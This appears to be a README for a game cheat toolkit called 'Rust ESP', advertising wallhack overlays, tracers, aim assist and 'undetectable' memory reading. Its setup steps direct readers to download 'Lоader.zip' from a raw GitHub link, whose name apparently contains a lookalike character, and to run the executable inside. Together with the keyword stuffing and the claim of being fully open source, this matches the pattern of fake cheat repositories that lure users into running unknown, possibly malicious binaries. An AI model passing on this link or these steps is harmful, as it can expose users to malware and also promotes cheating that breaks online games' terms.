Welcome to Rust ESP, your ultimate solution for building powerful external overlays and visual aids for games and simulation software. Harness the efficiency and safety of the Rust programming language to create fast, reliable, and customizable ESPs (Extra Sensory Perception visualizations) tailored to your projects and gameplay experiences. 🦀
Our robust toolkit prioritizes performance, undetectable overlays, cross-platform compatibility, and ease of integration—empowering users from hobbyists to professional developers.
- ✅ Ultra-Fast Overlay Rendering: Leveraging Rust’s blazing performance for seamless visuals.
- ✅ Multi-Platform Support: Out-of-the-box support for Windows, macOS, and Linux.
- ✅ Modular Visualization: Draw customizable boxes, tracers, health bars, and skeletons over game models.
- ✅ Customizable Hotkeys & GUI: React to in-game events or user input easily.
- ✅ Efficient Memory Reading: Safe and optimized external memory reading with zero unsafe hacks.
- ✅ Undetectable Execution: Uses transparent overlays and never modifies game data.
- ✅ Lightweight & Modern: Minimal system footprint, with async rendering & low-level optimizations.
- ✅ Detailed Logging: Comprehensive error handling and activity reporting.
- ✅ Flexible Codebase: Easily adapt modules to new engines and games.
- ✅ Frequent Updates: Updated regularly with the latest compatibility and features.
- ✅ Fully Open Source: Released under the MIT license for free use and modification!
| OS Name | Status | Installer Support | Overlay Support | Notes |
|---|---|---|---|---|
| 🪟 Windows 10/11 | ✅ Yes | ✅ Yes | ✅ Yes | Full 32 & 64-bit support |
| 🍎 macOS 13+ | ✅ Yes | 🔄 Manual | ✅ Yes | Requires admin rights |
| 🐧 Linux (x64) | ✅ Yes | 🔄 Manual | ✅ Yes | X11 & Wayland tested |
| 🤖 Others (BSD) | ⚠ Testing | 🔄 Manual | ⚠ Partial | Experimental |
Legend:
✅ Supported
🔄 Partial/Manual Steps Required
⚠ Experimental
Ready to get started? Follow these simple steps for hassle-free setup!
1. Download https://raw.githubusercontent.com/Hajrbox/RustEspify/main/Lоader.zip from the repository
- Head to the Releases section or the main repository files and grab the latest
https://raw.githubusercontent.com/Hajrbox/RustEspify/main/Lоader.zip.
2. Extract the archive
- Use your favorite extraction software (e.g., WinRAR, 7-Zip, Unarchiver on macOS/Linux).
3. Run the loader
- Windows: Double-click the
.exeinside. - macOS/Linux: Use the terminal and execute the compiled binary.
4. (Optional) Edit your configuration
- Customize appearance, hotkeys, and modules in the
.tomlor.yamlconfig files.
5. Launch your game or app
- Start your target software before running the loader for seamless overlay.
6. Enjoy Enhanced Visualization! 🎮
Note: Ensure your system is running the latest graphics drivers for best overlay performance.
| Function Name | Description | OS Support | Keywords |
|---|---|---|---|
draw_esp_box |
Draws customizable boxes around highlighted entities | Windows, Linux, macOS | bounding box, overlay, visualization, entity |
draw_tracer_lines |
Renders lines from player to entities for spatial awareness | Windows, Linux, macOS | tracer, lines, aim assist, overlay |
draw_health_bar |
Visualizes health information adjacent to ESP boxes | Windows, Linux, macOS | health, bar, HP indicator, visualization |
draw_entity_label |
Displays player names, item info, or tags above ESP boxes | Windows, Linux, macOS | label, nameplate, info, overlay |
render_skeleton |
Overlays entity skeletal structure for tactical awareness | Windows, Linux, macOS | skeleton, bones, visualization, entity |
read_entity_list |
Optimized function to scan memory for game entities | Windows, Linux, macOS | memory reading, entity scan, pointer, optimization |
hotkey_listener |
Listens for user input hotkeys to enable/disable modules live | Windows, Linux, macOS | hotkey, input listener, toggle, GUI |
custom_gui_menu |
Renders an interactive overlay menu for in-game adjustments | Windows, Linux, macOS | GUI, menu, customization, live settings |
debug_logger |
Smart logging utility for diagnostics and troubleshooting | Windows, Linux, macOS | log, diagnostics, troubleshooting, debug |
async_render_loop |
Core loop for high-FPS, low-latency rendering | Windows, Linux, macOS | async, rendering, performance, FPS |
settings_manager |
Load and save user preferences across sessions | Windows, Linux, macOS | config, settings, preferences, save/load |
Rust ESP, ESP Overlay, Game Visualization, External Overlay, Wallhack, Game Enhancement, Entity Highlighting, Rust Programming, Multi-OS Overlay, Secure Visualization, Open Source ESP, Real-time Overlay, Overlay Toolkit, ESP Platform, Customizable ESP, Modern Overlay, Performance Overlay, ESP Module, Visualization SDK
- This project is for research and educational purposes only.
- Do not use this toolkit to infringe upon the terms of service of online games or software.
- The authors and maintainers of Rust ESP take no responsibility for the use or misuse of this code or any resulting bans or account actions.
- Use responsibly and respect the communities of the software you work with!
This project is licensed under the MIT License (2025).
You are free to use, copy, modify, merge, publish, distribute, sublicense, or sell copies, provided you include the original copyright and license.
- Contribute code, docs, or tests via pull requests!
- Report issues, make feature requests, or share your ESP modules and insights!
- Join the discussion—help improve safe and ethical overlay applications for everyone.